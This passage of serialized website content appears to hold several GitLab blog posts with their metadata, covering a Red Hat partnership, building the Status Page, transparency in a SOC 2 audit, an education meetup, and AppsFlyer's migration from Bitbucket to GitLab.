know.\n\n### Why GitLab?\n\nGitLab enables both the developers and operations teams to apply [DevOps](/topics/devops/) practices using a single application. Using one tool for the entire application’s lifecycle, i.e. right from development and deployment to operations, allows the organization to achieve operational efficiency and reduce deployment cycle times.\n\nGitLab not only provides source code management ([SCM](/solutions/source-code-management/)) but it also offers CI/CD to make streamlined deployments to a container platform like Red Hat OpenShift while maintaining visibility into the deployment pipelines. Furthermore, with [AutoDevOps](https://docs.gitlab.com/ee/topics/autodevops/), the GitLab application also addresses the organization’s security requirements through scanning and dependency mapping for the developed application. The ability to check the license of software being used, before deploying it in a production environment, helps organizations reduce their [compliance risks](/solutions/compliance/).\n\n### Why GitLab with Red Hat?\n\nRed Hat has a number of technologies in its portfolio. At the core is Red Hat Enterprise Linux ([RHEL](https://www.redhat.com/en/technologies/linux-platforms/enterprise-linux)), an enterprise-grade Linux operating system (OS) platform used by many Fortune 500 companies that can be deployed across the hybrid cloud, from bare-metal and virtual servers to private and public cloud environments. RHEL makes it easier for the operations team to manage the upgrades, security patches and life cycles of servers being used to run applications like GitLab. Red Hat also provides the industry’s most comprehensive enterprise Kubernetes platform in Red Hat OpenShift. OpenShift is uniquely positioned to run a containerized application on a public or private cloud.\n\nGitLab can accelerate software development and deployment of applications while RHEL can act as the more secure, fully managed OS that can scale with the application. The inclusion of new DevOps tools in Red Hat’s hybrid cloud technologies like [service mesh](https://www.openshift.com/blog/red-hat-openshift-service-mesh-is-now-available-what-you-should-know) empowers developers to iterate faster on a foundation of trusted enterprise Linux.\n\nThe GitLab solution, which includes [CI/CD workflow](/topics/ci-cd/), an AutoDevOps workflow, a container registry, and Kubernetes integration can be deployed on RHEL using [install](/install/) instructions and you can find out more about GitLab SaaS pricing model [here](/pricing/#gitlab-com). You can read our sales [FAQ](/sales/#faq) or contact our [sales team](/sales/) if you have questions about the offering.\n\nGitLab can be deployed on RHEL-based machines to provide organizations with DevOps infrastructure and collaboration tools. Our collaboration with Red Hat doesn't stop as a supported platform for the GitLab Server but Red Hat OpenShift can also be a target for our CI/CD and Auto DevOps workflows. Application container images can be pushed to our registry and used to deploy applications into Red Hat OpenShift.\n\n### What’s Next?\n\nAs GitLab and Red Hat increase their collaboration, we plan to announce the availability of GitLab Runner Operator for OpenShift in the near future. At GitLab, we have an [engineering epic](https://gitlab.com/groups/gitlab-org/-/epics/2068) underway to develop first-class support for OpenShift.\n\nWith the upcoming product integrations with Red Hat, GitLab is striving to increase collaboration in the organization, increase developer velocity and reduce friction between teams, regardless of the deployment models of VMs or containers. The overarching goal is to help organizations improve their [DevSecOps](/solutions/security-compliance/) posture while significantly reducing security and compliance risks.\n\n### Resources\n\n- [GitOps:The Future of Infrastructure Automation - A panel discussion with Weaveworks, HashiCorp, Red Hat, and GitLab](https://about.gitlab.com/why/gitops-infrastructure-automation/)\n- [RHEL 8 Install documentation](https://about.gitlab.com/install/#centos-8)\n- [and RHEL 7 Install documentation](https://about.gitlab.com/install/#centos-7)\n- [GitLab on Microsoft Azure](https://docs.gitlab.com/ee/install/azure/)\n- [Try OpenShift](https://www.openshift.com/try)\n",[1899,110,3949,4103,2509],{"slug":23843,"featured":6,"template":678},"gitlab-and-redhat-automation","content:en-us:blog:gitlab-and-redhat-automation.yml","Gitlab And Redhat Automation","en-us/blog/gitlab-and-redhat-automation.yml","en-us/blog/gitlab-and-redhat-automation",{"_path":23849,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":23850,"content":23856,"config":23860,"_id":23862,"_type":16,"title":23863,"_source":17,"_file":23864,"_stem":23865,"_extension":20},"/en-us/blog/how-we-built-status-page-mvc",{"title":23851,"description":23852,"ogTitle":23851,"ogDescription":23852,"noIndex":6,"ogImage":23853,"ogUrl":23854,"ogSiteName":1180,"ogType":1181,"canonicalUrls":23854,"schema":23855},"How we built Status Page","Get the scoop on the process behind engineering and troubleshooting the implementation of the Status Page","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749681270/Blog/Hero%20Images/red-green-chilli.jpg","https://about.gitlab.com/blog/how-we-built-status-page-mvc","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How we built Status Page\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Olena Horal-Koretska\"}],\n        \"datePublished\": \"2020-04-29\",\n      }",{"title":23851,"description":23852,"authors":23857,"heroImage":23853,"date":23822,"body":23858,"category":734,"tags":23859},[23011],"\n\nThis blog post was originally published on the GitLab Unfiltered blog. It was reviewed and republished on 2020-05-08.\n{: .alert .alert-info .note}\n\nThe [Status Page](https://docs.gitlab.com/ee/operations/incident_management/status_page.html) is a new tool for communicating incident status and maintenance times, and is available to [GitLab Ultimate users](/pricing/ultimate/) (though the frontend is available to anyone). We are building the Status Page at GitLab to provide the best incident management experience both for our internal team and our customers.\n\n###  Current Status update approach\n\nIncident handling in GitLab happens inside the issue in a dedicated public project. The team discusses and posts updates in the issue. Public updates are manually published by engineer-on-call to [status.gitlab.com](https://status.gitlab.com/) every 15 minutes. But this setup is not ideal - responders lose precious time during fire-fight by switching tools and duplicating information. Also having public project for incident management means:\n\n1. Massive load on your instance in the \"hard times\"\n2. Higher monetary cost\n3. No access to status updates if your GitLab instance is down\n4. Sensitive information that comes up in a discussion is public and may cause vulnerability exploit while it is being fixed\n\n### Requirements\n\nOur first customer was the GitLab team. We [dogfood everything](/handbook/engineering/development/principles/#dogfooding), and the Status Page was no exception. So requirements were built based on the needs of our internal team:\n\n1. **No tool switching for incidents updates:** People that handle incidents have enough with responsibilities with fixing incidents so we should spare them the countless pings about the incident. These pings might be about what happened, the status of the incident, and how the incident is progressing. Granted, there are some users who want to receive immediate updates on the incident. Incident status should be updated in one place both for peer-problem-solvers and the public.\n\n1. **Ability to control level of visibility: Determine which updates are published and which are not**: When you have a problem in your product you do not necessarily want to shout it out: \"Hey, you malicious hacker, we've got a problem - go exploit it.\" Instead, you want your team address the vulnerability calmly and in a timely manner. Balancing the need for sending assuasive messages to the public without distracting fire-fight team can be achieved when you have control over the degree of visibility for the incident.\n\n1. **Display all types of data from GitLab incident description and comments on Status Page.** As incidents are handled in GitLab issues, there are a few options for how the data is represented to communicate the problem and/or solution, including images, embedded charts, etc. This rich data must be available in public updates.\n\n## Building the Status Page\n\nWe updated the design of the Status Page to address all of the concerns described in the previous section. Before we started building the Status Page, we lead a [Spike exercise](/handbook/engineering/development/ops/monitor/#spike) because we weren't entirely sure which approach to take for implementation.\n\nOur initial plan was to leverage one of the many open-source solutions for implementing the Status Page, but none of them could really satisfy all of our requirements. So instead we decided to go ahead and build our own implementation.\n\n#### Backend and data scraping\n\n When we started, we first brainstormed all the different solutions we could use to collect data from incidents issues to be automatically published to the Status Page:\n\n**Option 1: (GitLab) Webhooks: User sets up the endpoint to which GitLab will post incident updates**\n![Webhook](https://about.gitlab.com/images/blogimages/status-page/webhook.png){: .center}\n\n**Option 2: Alerts coming directly from Prometheus Alertmanager**\n![ALerts](https://about.gitlab.com/images/blogimages/status-page/alerts.png){: .center}\n\n**Option 3: Status page itself monitoring other services**\n![Monitoring](https://about.gitlab.com/images/blogimages/status-page/monitoring.png){: .center}\n\n**Option 4: Users manually pushing a markdown file to git or calling the API with some utility, e.g., `curl`**\n![Git Commit](https://about.gitlab.com/images/blogimages/status-page/gitcommit.png){: .center}\n\n**Option 5: CI job running manually or scheduled to run during certain intervals**\n![CI Job](https://about.gitlab.com/images/blogimages/status-page/cijob.png){: .center}\n\nThose approaches required either manual user input, additional CI resources, or building a sophisticated piece of software that was unnecessary for this case.\n\nWe didn't implement any of the five flows. But decided that the incident issue will be converted to JSON and published to the Status Page by a background job. This means no over-engineering and instant feedback on the Status Page.\n\n#### Frontend\n\nHere at GitLab we love VueJS so much we contribute to it, so the team has great expertise in VueJS. Consequently, our component library [GitLab UI](https://gitlab-org.gitlab.io/gitlab-ui/) and styling utilities are based on VueJS.\n\nYou could guess that we didn't have to debate which frontend framework to use! Besides the UI library as a dependency, GitLab provides `eslint`, `stylelint`, and SVGs as npm packages. It was very convenient to have them handy, as any new project setup always raises lots of questions about best practices and best tools. With all of this, the Status Page was able to be GitLab-branded. Feel free to use GitLab utilities in your own project too.\n\nNotably, the Status Page is a stand-alone application, hosted in a separate GitLab repository that uses JSON files generated by a background job. It is distributed under MIT license and can be used separately from GitLab given that correct data source is provisioned. You'll get the best experience by using our Status Page with GitLab.\n\nFrontend along with generated JSON data sources is published to [cloud storage](https://www.youtube.com/watch?v=27GgP6BXR6A). We currently only support Amazon S3 because we are hosted on Google Cloud and want our Status Page to be available even if Google Cloud (and, by extension, GitLab.com) is down. Credentials are provided by the user when setting up incident tracking project for Status Page.\n\n#### The Status page solution\n\nOnce an incident issue is created/updated in GitLab (manually or via [alert](https://docs.gitlab.com/ee/operations/incident_management/index.html#incident-management)), its description (with all types of data) along with comments that were marked as public will be picked by background job, converted to JSON, and mirrored on the Status Page.\n\n![Status Page flow](https://about.gitlab.com/images/blogimages/status-page/status-page-flow.png){: .center}\n\n### Hat tip to our Monitor:Health team\n\nThere are many more technical details that can be explained and that still to be implemented. It is the collaborative efforts of the [Monitor:Health team](/handbook/engineering/development/ops/monitor/respond/) that help make this possible. I'm thankful for all heated discussions, great insights, quick iterations, fast fails – the collaboration from the Monitor: Health team are advantages that have played out in the implementation of the Status Page feature.\n\n### Give the Status Page a try\n\nHere's a great [step by step guide](https://docs.gitlab.com/ee/operations/incident_management/status_page.html) on how to set-up a Status Page for your project with GitLab.\n\nEnjoy and may all your systems be operational!\n\nCover image by [Melina Yakas](https://unsplash.com/@myakas16) on [Unsplash](https://unsplash.com/photos/OBWEXPOurWo)\n{: .note}\n",[4103],{"slug":23861,"featured":6,"template":678},"how-we-built-status-page-mvc","content:en-us:blog:how-we-built-status-page-mvc.yml","How We Built Status Page Mvc","en-us/blog/how-we-built-status-page-mvc.yml","en-us/blog/how-we-built-status-page-mvc",{"_path":23867,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":23868,"content":23874,"config":23880,"_id":23882,"_type":16,"title":23883,"_source":17,"_file":23884,"_stem":23885,"_extension":20},"/en-us/blog/benefits-of-transparency-in-compliance",{"title":23869,"description":23870,"ogTitle":23869,"ogDescription":23870,"noIndex":6,"ogImage":23871,"ogUrl":23872,"ogSiteName":1180,"ogType":1181,"canonicalUrls":23872,"schema":23873},"The benefits of transparency in a compliance audit","We’re transparent by default, and just completed our first SOC 2 Type 1 audit! How does our public-first stance affect our compliance efforts and impact an audit?","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749681258/Blog/Hero%20Images/mvdheuvel-unsplash.jpg","https://about.gitlab.com/blog/benefits-of-transparency-in-compliance","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"The benefits of transparency in a compliance audit\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Steve Truong\"}],\n        \"datePublished\": \"2020-04-28\",\n      }",{"title":23869,"description":23870,"authors":23875,"heroImage":23871,"date":23877,"body":23878,"category":674,"tags":23879},[23876],"Steve Truong","2020-04-28","\n\n_Be open about as many things as possible. By making information public we can reduce the barriers to contribution and make collaboration easier. Use public issue trackers, projects, and repositories when possible._ – The GitLab [Handbook](/handbook/)\n\n[Transparency](https://handbook.gitlab.com/handbook/values/#transparency) is one of our core values and a fundamental part of what makes GitLab unique. But openness and [System and Organization Controls 2 (SOC 2)](https://en.wikipedia.org/wiki/System_and_Organization_Controls) audits often don't go hand in hand.\n\n## A quick history of the traditional audit\n\nAt traditional organizations, seeing a high level of transparency with documented procedures and processes publicly available, is not typical. And when the time comes for these organizations to undergo an audit, the process is time-consuming and can be burdensome for many employees who have to balance audit requests on top of their day-to-day work responsibilities.\n\nFor these same employees, a lot of time is spent digging through process documentation, policy documents, and even workflow documents, which is only the starting point for an audit. Eventually, this trickles down to the auditors having to meet with these employees to understand how the processes, policies, and workflows are executed, which means more time is sacrificed bringing an auditor up to speed on internal processes and procedures.\n\n## What does our approach to compliance look like?\n\nAt GitLab, we value transparency so much so that everything we do as a company is [public by default](https://handbook.gitlab.com/handbook/values/#public-by-default). If the need arises for information to be kept private, we have a policy in place which requires GitLab team members to provide justification within our (public) handbook as to why specific information can not be made public.\n\nSpecific to compliance, [handbook pages](/handbook/security/security-assurance/security-compliance/sec-controls.html#list-of-controls-by-family) detail the implemented controls that exist in our environment, including the scope that each control covers, the groups and/or process owners for each control, and even how we’ve mapped these controls to various industry standard compliance frameworks (e.g. ISO, PCI, SOC 2, etc.). Our handbook is the central repository for how we run the company. The change history for any update made to the handbook is available publicly. This means that the wider GitLab community is able to hold us accountable for what we say we do, and how we do it. Our handbook is geared for **self-serve** consumption: readers gain visibility into and understanding of how processes are executed and any nuances that should be considered.\n\nThis same self-serve approach applies to compliance and undergoing an audit, where we aim to enable an auditor to self-serve as much information about our processes and procedures as possible. In this case, we save the time control and process owners would have spent walking an auditor through how these processes are executed internally.\n\nBeyond decreasing the audit workload of control and process owners, transparency earns more frequent feedback and contributions from people outside the company.\n\nThis enables us to collaborate with our valued customers and partners and deepens the industry and community understanding of our business, culture and [values](https://handbook.gitlab.com/handbook/values/#why-have-values). Furthermore, we experience the added benefit of recruiting people who share our values.\n\n## How did our transparent culture impact our first SOC 2 Type 1 audit?\n\nAlmost all information about GitLab and the work that we perform day-to-day is available publicly (with the exception of any data that is considered [not public by default](/handbook/communication/confidentiality-levels/#not-public)). This opens a door that allows external auditors to do more digging and potentially ask questions that we might not be prepared for.\n\nKnowing this helped us know where and when to push back on our auditor to understand how their questions related back to a specific audit requirement.\n\nWe’re happy to say our transparent culture had an overall positive impact on our very first SOC 2 audit. As someone who has operated in an external audit capacity, I would have loved to have been able to perform an external audit over a company that had as much publicly facing documentation as GitLab! **Being transparent about everything we do as a company provided a lot of value during our SOC 2 audit in multiple ways:**\n\n* **Time savings:** In a traditional audit, an auditor schedules meetings with various process owners to walk through how internal processes relevant for an audit (such as change management) are executed. Here at GitLab, these procedures are documented publicly, so our auditor was able to read about these processes and provide more specific follow-up questions which ultimately resulted in team members being able to spend more time performing their day-to-day responsibilities instead of spending time interacting with our auditor.\n* **Understanding documentation gaps:** Based on the deeper follow-up questions asked by our auditor, we were able to identify gaps in our documentation around processes being executed, but without sufficient documentation in the handbook. This gave us an opportunity to improve our documentation and potentially gain time savings in future audit cycles.\n* **Reduced scope creep:** Given the amount of information that is available in our handbook, this may seem counterintuitive. However, because the GitLab architecture is published in our handbook, it helped to clearly define the scope of our SOC 2 audit and helped take the guesswork out of which technology should be subject to audit procedures.\n\nWhile there were many valuable takeaways stemming from our transparency, we also quickly learned that the documentation in our handbook could lead an auditor to preliminary conclusions because processes weren’t fully documented. We didn’t see this as a negative impact, but more as an area for improvement and iteration to further refine our handbook documentation. So, again, the outcome of a deeper understanding of the documentation gaps that existed in our handbook is truly valuable and one we’re already working to address. Here are some merge requests that have been opened as a result of our first SOC 2 Type 1 audit:\n\n* [Revising our Data Classification Policies for more clarity](https://gitlab.com/gitlab-com/www-gitlab-com/-/merge_requests/44763/diffs#c5b510796a694dd7bee07591c5baed6b97c18ce4)\n* [GitLab Control Framework (“GCF”) revisions to align controls to SOC 2 Criteria and clean-up control language for clarity](https://gitlab.com/gitlab-com/www-gitlab-com/-/merge_requests/44987)\n\n## How do you find the middle ground between transparency and compliance?\n\nTo put it plainly, there is no middle ground.\n\nCompliance is a key function of all organizations. These efforts ensure that the organization and its personnel are adhering to various regulatory obligations by working cross-functionally to implement policies and procedures to meet these requirements. Transparency is actually a powerful compliance driver because it means the wider GitLab community can hold the company accountable for the processes that we put into place and how we carry them out.\n\nBeing transparent *inherently* helps minimize the scope of an audit because it allows us to be specific and detailed about how we operate as a company. We have moved away from a traditional audit model where process owners sit in a meeting with an auditor and spend hours talking. Instead, through our handbook,  the documentation exists in a state that allows someone to pick it up and understand how to execute specific processes and procedures so that there is no guesswork involved. Processes and procedures aren’t left open to interpretation because that would reduce the ability for GitLab team members to \"self-serve\" information. We believe these same benefits extend to deeper understanding and clearer scope definition on the part of an audit team.\n\n## What’s next?\n\nAs a result of our first audit cycle, we have identified areas where we can iterate on our documentation to make it clearer and more concise. We’ll be working to get our handbook up to snuff while continuing to ready ourselves for an SOC 2 Type 2 audit. We are excited to continue exercising our value of transparency to further improve audit efficiency from audit to audit!\n\nBetween revising our documentation to be more clear and concise and preparing for our SOC 2 Type 2 audit, we have also performed a Cloud Security Alliance (CSA) CAIQ v3.1 self-assessment. We chose to perform this self-assessment partly for transparency and partly to provide the broader GitLab community with additional assurance over the maturation of the Security Compliance Program at GitLab. The self-assessment is [available directly on the CSA website](https://cloudsecurityalliance.org/star/registry/gitlab/).\n\n* Interested in learning more about GitLab's Security Certifications and Attestations? Visit our [Security Certifications and Attestations handbook page](/handbook/security/security-assurance/security-compliance/certifications.html) to learn more.\n* **Do you require a copy of GitLab’s SOC 2 report?** See how [potential and existing customers can request this report](/handbook/security/security-assurance/security-compliance/certifications.html#requesting-a-copy-of-the-gitlab-soc2-type-2-report).\n\n\n\nCover image by [Maarten van den Heuvel](https://unsplash.com/@mvdheuvel?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com/)\n{: .note}\n",[676,674],{"slug":23881,"featured":6,"template":678},"benefits-of-transparency-in-compliance","content:en-us:blog:benefits-of-transparency-in-compliance.yml","Benefits Of Transparency In Compliance","en-us/blog/benefits-of-transparency-in-compliance.yml","en-us/blog/benefits-of-transparency-in-compliance",{"_path":23887,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":23888,"content":23894,"config":23898,"_id":23900,"_type":16,"title":23901,"_source":17,"_file":23902,"_stem":23903,"_extension":20},"/en-us/blog/gitlab-education-virtual-meetup",{"title":23889,"description":23890,"ogTitle":23889,"ogDescription":23890,"noIndex":6,"ogImage":23891,"ogUrl":23892,"ogSiteName":1180,"ogType":1181,"canonicalUrls":23892,"schema":23893},"GitLab for Education: First Virtual Meetup","The GitLab for Education Program is excited to announce our first global virtual meetup on May 6th!","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749669510/Blog/Hero%20Images/classroom.jpg","https://about.gitlab.com/blog/gitlab-education-virtual-meetup","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab for Education: First Virtual Meetup\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Christina Hupy, Ph.D.\"}],\n        \"datePublished\": \"2020-04-28\",\n      }",{"title":23889,"description":23890,"authors":23895,"heroImage":23891,"date":23877,"body":23896,"category":18484,"tags":23897},[14215],"\n\n{::options parse_block_html=\"true\" /}\n\n\n\nThe GitLab for Education Program is excited to announce our first global virtual meetup on May 6th ([1:00 pm EDT/ 5:00 pm UTC](https://www.timeanddate.com/worldclock/fixedtime.html?iso=20200506T1700))!\n\n## About GitLab Meetups\n\nGitLab has a vibrant global meetup community with over 10,000 members from 20 plus countries. If you are new to GitLab meetups, they are events organized by our community members, community groups, or GitLab team members, where people get together to network, share ideas, and learn more about a broad range of topics in DevOps. Generally, there are speakers and some Q&A with plenty of time for interaction between attendees. While the majority of our previous meetups were in person, we recently launched virtual meetups with great success! We love virtual meetups because they can be more efficient, more collaborative, and more diverse and inclusive.\n\n## GitLab for Education\n\nThe [GitLab for Education Program](/solutions/education/), one of several programs run by the [Developer Relations team](/handbook/marketing/developer-relations/#our-mission), is where we foster the adoption of GitLab at educational institutions ranging from primary school up through Universities by providing free licenses of GitLab Gold or Ulitmate for the purposes of [teaching, learning, or research to qualifying educational institutions](/handbook/marketing/developer-relations/community-programs/education-program/#education-program-requirements). We are thrilled with the success thus far - we’ve issued **1.486 million seats to 800 institutions in 65 countries around the world**  - and we’re excited to build on this organic interest and take the program to the next level.\n\nAs we look forward to expanding our GitLab for Education Program in 2020, our primary goal is to foster a vibrant community for building relationships and sharing knowledge for all things related to education and DevOps. In this spirit, we’re excited to announce our first-ever Education Program Virtual Meetup.  We invite anyone who is interested to join us - you do not need to be a current Education Program member to attend. Our focus on the Developer Relations team has been to create a community where [everyone can contribute](/company/mission/#mission) and we are thrilled to extend these efforts into growing the education community.\n\n### Here is an overview of what we’ll cover:\n\n#### Introduction to our Team Members and overview of the GitLab for Education Program\n\nWe’ll start by introducing a few of our team members, John Coghlan our Senior Evangelist Program Manager, and Christina Hupy our Senior Education Program Manager. John runs our GitLab Meetup and GitLab Heroes programs.  Next, we’ll introduce Christina (that’s me!), who runs our GitLab for Education Program, and a few our Community Advocates. Then we’ll highlight a few key points about the GitLab for Education Program such as the types of licenses we offer, how your institution can sign up for them, and how you can contribute directly by engaging with us on issues on GitLab itself. We’ll answer any questions you might have about the program.\n\n#### We’ll touch on a broad range of topics including:\n\n* **Use Cases**\n  * How is your institution using GitLab?  We’d love to learn more about how your institution is using GitLab or how you are thinking about using GitLab if you are not yet signed up.\n\n* **Challenges**\n  * What are your biggest challenges in growing adoption of DevOps on your campus? Share ideas with us on what challenges you face while implementing and growing adoption of GitLab at your institution.\n\n* **Resources**\n  * What kinds of resources have been and would be most useful to you while using GitLab at your institution? What organizations have been you been involved with? As we continue to grow the Education Program, providing resources to our education community is a top priority. We’d love to hear from you on what would help you be successful.\n\n### Why join us?\n\nThis is a great opportunity to grow your network in education whether you are a student learning DevOps or a faculty or staff looking to share best practices for implementation on campus. Meetups are also a great way to increase your skillset by learning more about DevOps and GitLab alike. They are great forums for sharing ideas that could inspire you in your everyday workflows.\n\n**We hope you’ll consider joining us.** We are super excited to connect with all of you! Please feel free to share the invite to anyone who may be interested in learning more.\n\nThis event has taken place – you can [view the recording here](https://www.youtube.com/watch?v=r5axFWHj0SU).\n{: .alert .alert-info .text-center}\n\nPlease [email us](mailto:education@gitlab.com) with any questions.\n\nInterested in hosting your own meetup? Check out our [meetups page](https://about.gitlab.com/community/meetups/).\n\nCover image by [NeONBRAND](https://unsplash.com/photos/1-aA2Fadydc) on [Unsplash](https://unsplash.com/)\n{: .note}\n",[267,2368,277],{"slug":23899,"featured":6,"template":678},"gitlab-education-virtual-meetup","content:en-us:blog:gitlab-education-virtual-meetup.yml","Gitlab Education Virtual Meetup","en-us/blog/gitlab-education-virtual-meetup.yml","en-us/blog/gitlab-education-virtual-meetup",{"_path":23905,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":23906,"content":23912,"config":23917,"_id":23919,"_type":16,"title":23920,"_source":17,"_file":23921,"_stem":23922,"_extension":20},"/en-us/blog/appsflyer-moves-to-gitlab",{"title":23907,"description":23908,"ogTitle":23907,"ogDescription":23908,"noIndex":6,"ogImage":23909,"ogUrl":23910,"ogSiteName":1180,"ogType":1181,"canonicalUrls":23910,"schema":23911},"Why AppsFlyer moved from Bitbucket to GitLab","AppsFlyer migrated from Mercurial to Git so the company could move to GitLab's open source, self-managed solution.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749681252/Blog/Hero%20Images/gitlab-appsflyer.png","https://about.gitlab.com/blog/appsflyer-moves-to-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Why AppsFlyer moved from Bitbucket to GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sara Kassabian\"}],\n        \"datePublished\": \"2020-04-27\",\n      }",{"title":23907,"description":23908,"authors":23913,"heroImage":23909,"date":23914,"body":23915,"category":736,"tags":23916},[17272],"2020-04-27","\n\nResearch shows that [more users are choosing GitLab](/why-gitlab/) as their preferred [version control system](/topics/version-control/). In an [analysis by The New Stack of the results of a 2018 and 2019 Jetbrains developer survey](https://thenewstack.io/i-dont-git-it-tracking-the-source-collaboration-market/), there was an increase in the number of users in the study sample that selected GitLab as their version control system of choice between 2018-2019. In that same period, GitHub had a small decrease in users and Bitbucket had a more substantial decline in the number of users. \n\nOne of the most significant barriers to making the move from a version control system such as Bitbucket or GitHub to GitLab is the data migration process. We have an entire data import team at GitLab that is dedicated to making this process as seamless as possible, but let’s face it, migrating data is always going to be painful. Fortunately, other companies have paved the way to make the migration process a bit more bearable.\n\nAppsFlyer is one of those companies that took the plunge and migrated its entire system from Bitbucket to GitLab, and the team has lived to tell the tale. [Elad Leev](https://www.linkedin.com/in/elad-leev/?originalSubdomain=il), platform engineer at AppsFlyer, explains how the engineering organization managed the migration in a presentation at GitLab Commit San Francisco.\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube-nocookie.com/embed/z_6tVRCyJxs\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n## Why AppsFlyer chose GitLab\n\nBefore showing how AppsFlyer moved to GitLab, it’s valuable to review the business case for _why_ AppsFlyer chose GitLab over other version control systems.\n\nAppsFlyer is a large engineering organization that has more than 300 developers on-staff. Demand for the company's services grew, which translated into more than one million incoming HTTP requests per second or up to 90 billion events per day. AppsFlyer needed to move off the hosted solution it was using with Bitbucket because repositories could be accessed by the public too easily and because latency issues caused some builds to fail. And Bitbucket had restrictions – no more than 1000 calls/hour – and that was an easy target for the growing company to exceed.\n\nAppsFlyer tried moving from the Bitbucket-hosted solution to the closed-source, self-managed option but it was a black box. If there was a bug, it was impossible to know if it was due to their configuration or because something was wrong with the product.\n\nThe company considered GitHub Enterprise, but, like Bitbucket, it is also closed-source and was too expensive for a lower ROI. In the end, they chose GitLab because of our growth and [commitment to transparency](https://handbook.gitlab.com/handbook/values/#transparency) – our default to public and the open issue tracker made it the right fit for AppsFlyer.\n\n## Migrating from Mercurial to Git\n\nIn order to convert from Bitbucket to GitLab, AppsFlyer first needed to convert from Mercurial to Git because GitLab runs on Git.\n\nWhen [Bitbucket first launched in 2008, it only supported Mercurial repos](https://Bitbucket.org/blog/sunsetting-mercurial-support-in-Bitbucket). Notably, Bitbucket is actually going to be migrating from Mercurial to Git beginning as of June 1. So whether or not you’re using GitLab, there is no time like the present to transition your repositories to Git, [the version control tool chosen by almost 90% of developers](https://insights.stackoverflow.com/survey/2018#work-_-version-control).\n\nOne of the most complicated parts of the process for AppsFlyer was getting the code from Mercurial to Git, because there isn’t an immediate way to transfer from one version control tool to another.\n\nElad said AppsFlyer needed to save history, commits, tags and, with AppsFlyer being a rapidly growing start-up, to execute the transition as quickly as possible.\n\nThe AppsFlyer devs found a tool called [Fast-Export](https://github.com/frej/fast-export) which basically migrates code from Mercurial to Git and had success on a few different repositories. But could it scale effectively to migrate all the code in the organization?\n\nNext, the team worked with the R&D organization to create a self-service, Fast-Export wrapper to help with the migration from Mercurial to Git at scale. The Fast-Export wrapper had a few characteristics that made it work:\n\n*   It was a one-liner, so it was easy-to-use\n*   It was idiot-proof, meaning nobody could make a catastrophic mistake\n*   It used a Slack channel to keep everyone in sync\n*   It was safe, meaning you cannot override somebody’s repository by mistake\n\nThe end-to-end process is fairly straightforward, beginning with checking for the repository in GitLab and logging it into the Slack channel once the repo migration is complete.\n\n![Illustration showing AppsFlyer's Mercurial to Git migration process](https://about.gitlab.com/images/blogimages/mercurial_git.jpg){: .shadow.medium.center}\nThe Mercurial to Git migration process using the fast-export wrapper created by AppsFlyer.\n{: .note.text-center}\n\n“It's really, really important to close the old repository to writes in Bitbucket service because it happened to us more than once: A developer used this tool to migrate his repository from Bitbucket to GitLab, but other developers didn't know that the repository was moved,” says Elad.\n\nThe migration from Mercurial to Git came with a few added benefits, including the opportunity to clean up old repositories; greater transparency across teams into the GitLab migration; and increased developer trust.\n\n## Education helps\n\nDocumentation was also a large part of the migration to Git. AppsFlyer used Guru to carefully document internal processes and identified two courses on Pluralsight to help devs. There is also the entertaining cheat sheet – “[Oh Shit, Git!](https://ohshitgit.com/)” ([here is a profanity-free version](https://dangitgit.com/en)) which Elad created to share some edge cases with Git that he encountered through his work.\n\n## Now, moving to GitLab is pretty easy\n\nOnce your source is in Git, it is pretty simple to upload your data into any version control system using a data importer. We have detailed instructions on how to import your data from a different version control system, such as [migrating from Bitbucket to GitLab](https://docs.gitlab.com/ee/user/project/import/bitbucket_server.html), which is what AppsFlyer did.\n\n## Perks of working with an open source, self-managed solution\n\nA self-managed product that is closed-source means the user will always rely on an external vendor when it comes to managing their codebase, and we believe that having end-to-end visibility is essential when it comes to self-hosting. One of the main perks of working with an open source, self-managed version control system such as GitLab is that your team has the flexibility to build upon your existing codebase. Here are a few examples:\n\n*   AppsFlyer created another small, one-liner tool (BB2GL) that connects with Slack to help with data migration. Then, they took it a step further and connected the one-liner repository to Slack.\n*   Set deadlines: AppsFlyer created a scheduled task list that checks all the repos in Bitbucket and all the repos in GitLab to see which projects have been moved from Bitbucket to GitLab and posts a reminder on Slack for the teams.\n*   Created an in-house API wrapper which helped cut-down on code that was duplicative but written in different languages. The API wrapper helped create one location for all the GitLab metadata.\n*   The in-house API Wrapper is updated using GitLab System Hooks. Read Elad’s [in-depth Medium article to learn more about System Hooks](https://medium.com/appsflyer/gitlab-the-magic-of-system-hooks-f38c4f7ca8e7).\n\nIt’s been two years since AppsFlyer made the switch to GitLab, and it’s helped the company’s growth considerably, says Elad. Some team members have abandoned the Atlassian project management tools they used before to switch to GitLab.\n\nBut no product is perfect. There are two bugs that AppsFlyer encountered and raised with GitLab support. One of them has been resolved, [one is still pending](https://gitlab.com/gitlab-org/gitlab/-/issues/14130). This level of visibility into bugs wouldn’t be possible without features like the [public issue tracker](https://docs.gitlab.com/ee/user/project/issues/), which promote transparency and collaboration between GitLab users and internal GitLab teams.\n",[1067,815,267],{"slug":23918,"featured":6,"template":678},"appsflyer-moves-to-gitlab","content:en-us:blog:appsflyer-moves-to-gitlab.yml","Appsflyer Moves To 